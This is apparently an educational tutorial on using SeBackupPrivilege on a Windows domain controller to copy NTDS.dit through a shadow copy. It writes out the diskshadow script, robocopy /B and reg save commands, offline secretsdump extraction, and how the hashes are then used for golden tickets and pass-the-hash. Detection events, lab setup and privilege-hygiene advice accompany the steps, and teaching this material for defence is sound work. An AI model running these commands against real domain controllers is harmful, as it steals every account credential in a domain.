SeBackupPrivilege on a domain controller: extracting NTDS.dit with diskshadow and robocopy /B

SeBackupPrivilege is not a vulnerability. It is a Windows privilege that does exactly what it says: it lets the holder read any file regardless of the file's access-control list, because backup software has to copy files it has no ordinary permission to open. On a normal server that is already powerful, and the local-host version (reading the registry hives for local hashes) is in offline registry hive dumping and Windows local privilege escalation. On a domain controller it is terminal, because the file it can now read is NTDS.dit, the directory database containing the password hash of every account in the domain, krbtgt included. This is the DC-specific case, taught from the ground up.

What you will learn

• The difference between a privilege and a vulnerability, using a privilege that is terminal yet entirely by design.
• Two separate obstacles to reading NTDS.dit, and the distinct trick that defeats each.
• The extraction sequence step by step, and why offline decryption keeps tooling off the DC.
• How to reproduce it in a lab and compare it with the other ways to reach the same hashes.
• The detection signals and the privilege hygiene that closes it.

Prerequisites and scope: you hold an identity on the DC whose token carries SeBackupPrivilege (often via Server Operators or Backup Operators, see Server Operators to Domain Admin). Everything here is a privilege granted too widely, not a bug, so it closes to privilege and group hygiene, not a patch.

The mental model

A privilege is a deliberate exception to the normal rules, granted for a job that needs it. Backup software needs to copy files it is not the owner of and has no read permission on, so Windows gives backup operators a skeleton key: open a file "for backup" and the system checks that you hold the backup privilege instead of checking the file's ACL. That is not a flaw; a backup that could only copy files you already had permission to read would be useless.

The trouble is that a skeleton key does not know what it is opening. The same key that reads your scheduled backup set reads NTDS.dit. So the "attack" is just using the backup path for the one file that happens to contain every secret in the domain. Nothing is exploited. A door built to be opened is opened.

Why reading NTDS.dit takes two tricks

Two separate things normally stop you, and you defeat them in different ways:

• The DACL on C:\Windows\NTDS\NTDS.dit does not grant you read. The skeleton key (backup mode) defeats this: opening the file with FILE_FLAG_BACKUP_SEMANTICS makes Windows check SeBackupPrivilege instead of the ACL. robocopy /B opens files exactly that way, which is why it succeeds where copy returns access denied.
• The lock. The directory service holds the database open with a sharing mode that denies you a read even if the ACL did not. You do not fight the lock; you avoid it, by taking a Volume Shadow Copy of the volume and reading NTDS.dit out of the frozen snapshot, where nothing holds it open.

Backup mode plus a shadow copy is precisely how a legitimate DC backup works. That is the whole point: you are walking the backup path, not breaking anything.

The extraction, step by step

Step 1: snapshot the volume with diskshadow

diskshadow is the built-in, signed tool that drives the Volume Shadow Copy Service. Script it so it runs non-interactively:

# save as C:\Windows\Temp\s.txt
set context persistent nowriters
set metadata C:\Windows\Temp\s.cab
begin backup
add volume C: alias cdrive
create
expose %cdrive% Z:
end backup

diskshadow /s C:\Windows\Temp\s.txt

Z: is now a read-only copy of C: with NTDS.dit sitting in it, unlocked.

Step 2: copy the database and the SYSTEM hive in backup mode

robocopy /B Z:\Windows\NTDS C:\Windows\Temp\out ntds.dit
reg save HKLM\SYSTEM C:\Windows\Temp\out\system.hive

The /B flag is the trick: it invokes SeBackupPrivilege so the copy ignores the DACL. reg save of SYSTEM is also backup-gated, and you need that hive because it holds the boot key that decrypts the hashes in NTDS.dit.

Step 3: decrypt offline

Pull both files to your own machine and parse them there, so no credential-dumping tool runs on the DC:

impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
#   -> every account's NT hash, including:
#      Administrator:500:...:<nthash>:::
#      krbtgt:502:...:<nthash>:::   (+ AES keys)

With krbtgt you can forge golden tickets; with the Administrator hash you pass-the-hash to the DC. Feed the dumped hashes to hashcat only if you want plaintext; you do not need to crack anything to use them.

Where this sits among the NTDS paths

Knowing which route you are seeing matters for detection, so compare them:

• This path: a local privilege on the DC (SeBackupPrivilege) plus a shadow copy. Artifacts live on the DC: a VSS snapshot, diskshadow, robocopy /B against NTDS.
• DCSync: no file access at all; you ask the DC to replicate secrets over the wire using directory-replication rights, a completely different signal, covered in DCSync replication abuse.
• Local SAM/SYSTEM: the same privilege on an ordinary host yields only that host's local accounts, not the domain, which is offline registry hive dumping.

How an attacker reaches SeBackupPrivilege on a DC is usually a chain, one of which is walked in the over-privileged service-account stack.

Build it in a lab

1. A DC and a backup-privileged account. On a lab DC, create svc_test, add it to Backup Operators (or Server Operators), and log on as it.
2. Confirm the privilege. whoami /priv shows SeBackupPrivilege (likely Disabled, which means available, not denied).
3. Run the three steps above: diskshadow script, robocopy /B, reg save, then secretsdump offline on Kali.
4. Compare. Dump the same hashes via DCSync (if you grant the replication rights) and watch how different the two look on the wire and in the logs. That contrast is the detection lesson.
5. Clean up the snapshot, the copied files, and the test account.

Detection

• Shadow-copy creation on a DC. VSS snapshot creation is logged (System log, VSS source) and shows in EDR as diskshadow.exe or vssadmin. Snapshots of the system volume on a DC outside a backup window deserve an alert.
• robocopy /B or any copy of NTDS.dit. Command-line auditing (event 4688 with the full command line, or Sysmon event 1) catching robocopy with /B against a \NTDS path, or any process opening ntds.dit, is close to a true positive. Backups use dedicated software, not interactive robocopy.
• SeBackupPrivilege at logon (event 4672) for an account with no backup role points at the chain that delivered it.
• reg save of HKLM\SYSTEM outside backup tooling, paired with the above, confirms intent.
• Object access on the NTDS folder. A SACL on C:\Windows\NTDS records the read as event 4663.

Turn on command-line process auditing and ship it; most of this chain is invisible without it.

Prevention and response

• Empty Backup Operators and Server Operators. These built-in groups hand out SeBackupPrivilege and SeRestorePrivilege on DCs. They should be empty or hold only tightly justified, monitored accounts.
• Keep SeBackupPrivilege and SeRestorePrivilege off interactive and service accounts. Review the "Back up files and directories" and "Restore files and directories" user-rights assignments on DCs; they should list your backup system and nothing else.
• Treat the backup system as tier-0. Whatever account your backup software uses on DCs can do everything here, so protect it like a Domain Admin.
• Response after a confirmed extraction. Assume every hash in the domain is compromised: rotate krbtgt twice with the required interval, force-reset privileged accounts, and treat the whole directory as needing rotation. The attacker had every hash the moment the copy left the DC.

Check yourself

1. Why is SeBackupPrivilege a privilege rather than a vulnerability, and why does that distinction not make it safer?
2. What are the two obstacles to reading NTDS.dit, and which trick defeats each?
3. Why decrypt the hives offline on your own machine instead of running a dumper on the DC?
4. A defender sees a VSS snapshot on a DC at 3am. What two follow-on artifacts would raise it from "maybe backup" to "almost certainly extraction"?

Answers:

1. It is a deliberate grant for backup software, working as designed. That does not make it safer, because the skeleton key reads any file, including the one with every secret; the risk is who holds the privilege, not whether it is a bug.
2. The DACL (defeated by backup mode, which checks the privilege instead of the ACL) and the live-file lock (defeated by reading from a Volume Shadow Copy, not the live file).
3. So no credential-dumping tool runs on the DC, which reduces artifacts and EDR triggers on the target; the sensitive parsing happens on your own host from copied files.
4. robocopy /B (or another process) touching a \NTDS\ntds.dit path, and a reg save of HKLM\SYSTEM, both outside any scheduled backup job.

Use

Authorized and educational use only: your own lab, a directory you own, or an engagement with written permission. This documents a backup privilege working as designed against a target it should never reach, so defenders can audit who holds it and shrink that list. Tools are named rather than carried, and the piece is paired with detection and privilege hygiene. It is not a runbook for use against systems you do not own.

References

• MITRE ATT&CK, OS Credential Dumping: NTDS (T1003.003): https://attack.mitre.org/techniques/T1003/003/
• Microsoft, SeBackupPrivilege and the "Back up files and directories" right: https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/back-up-files-and-directories
• Microsoft, Volume Shadow Copy Service and diskshadow: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow
• Impacket secretsdump: https://github.com/fortra/impacket
• Microsoft, Securing domain controllers against attack (tier-0 model): https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/securing-domain-controllers-against-attack